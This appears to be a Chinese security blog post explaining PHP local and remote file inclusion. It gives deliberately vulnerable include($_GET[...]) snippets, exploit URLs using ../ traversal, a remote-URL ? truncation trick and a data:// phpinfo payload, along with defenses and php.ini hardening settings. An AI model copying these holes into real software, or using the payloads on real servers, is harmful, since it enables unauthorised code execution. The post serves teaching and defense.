php本地文件包含&远程文件包含
2016-04-07 12:49
591 查看
由头:面试的时候被问到了,有些东西还是实践的太少,写此博客记录一下。
require()
include_once()
require_once()
本地文件包含:
exploit:
包含当前目录的 lfi.txt(内容为<?php phpinfo();?>):
跨目录包含:
防御:
防止跨目录:
在php.ini中设置open_basedir
open_basedir可被绕过:wooyun链接
防止本地文件包含:
使用枚举
远程文件包含:
exploit:
技巧:?被解释成url中的querystring,可用来在 远程文件包含 时 截断 代码中后面内容。
防御:
php.ini配置文件里allow_url_include=off
/rfi.php?file=data:text/plain,<?php%20phpinfo();?>
附:php的安全配置
Register_globals =off
Open_basedir
Allow_url_include =off
Display_errors =off
Log_errors = on
Magic_quotes_gpc =off
Cgi.fix_pathinfo
Session.cookie_httponly
php文件包含函数:
include()require()
include_once()
require_once()
本地文件包含:
<?php #存在本地文件包含的代码 include($_GET['test']); ?>
exploit:
包含当前目录的 lfi.txt(内容为<?php phpinfo();?>):
跨目录包含:
http://localhost:81/lfi/lfi.php?test=../lfi.txt #包含上层目录的lfi.txt文件 http://localhost:81/lfi/lfi.php?test=/lfi_in/lfi.txt #包含内层目录的lfi.txt文件
防御:
防止跨目录:
在php.ini中设置open_basedir
open_basedir = C:\Program Files\phpStudy\WWW\lfi #限制在当前目录下(包括子目录)
open_basedir = C:\Program Files\phpStudy\WWW\lfi\ #限制在当前目录下(不包括子目录)
open_basedir可被绕过:wooyun链接
防止本地文件包含:
使用枚举
$file =$_GET['test']; switch ($file) { case 'lfi.txt': include('./lfi.txt'); break; default: include('./notexists.txt'); break; } ?>
远程文件包含:
<?php include($_GET['file'].'txt'); ?>
exploit:
http://localhost:81/lfi/rfi.php?file=http://ip_address/php/rfi/rfi.txt?
技巧:?被解释成url中的querystring,可用来在 远程文件包含 时 截断 代码中后面内容。
防御:
php.ini配置文件里allow_url_include=off
文件包含利用技巧:
1.远程文件包含时 利用 data:// (>5.2.0) 或者 input://协议/rfi.php?file=data:text/plain,<?php%20phpinfo();?>
附:php的安全配置
Register_globals =off
Open_basedir
Allow_url_include =off
Display_errors =off
Log_errors = on
Magic_quotes_gpc =off
Cgi.fix_pathinfo
Session.cookie_httponly
相关文章推荐
- ThinkPHP 框架开发 零基础开发 网站商城 步骤 (2)
- PHP中PDO的事务处理分析
- wampServer 我进入phpadmin设置密码后。再访问就拒绝 error 1045
- 深入理解php底层:php生命周期
- PHP+Ajax实现无刷新分页实例详解(附demo源码下载)
- PHP的错误和异常处理
- PHP底层的运行机制与原理
- 最后一节php+mysql的故事
- 【未解决】php 中 '' "" null empty的区别
- thinkcmf thinkphp 学习
- 5.3.1.2 smtpd_check_*函数的ACL验证方法
- PHP 实现多服务器共享 SESSION 数据
- 浅谈PHP单引号和双引号的区别
- PHP的PDO常用类库实例分析
- 5.1.3 SMTPD_CMD smtpd_cmd_table[]数组:回调函数数组
- 5.1.2 SMTPD_CMD结构体:smtp协议命令表示
- 5.1.1 主要的结构体--SMTPD_STATE
- Yii CHtml
- 第五章 smtpd模块解析
- PHP导出数据到CSV文件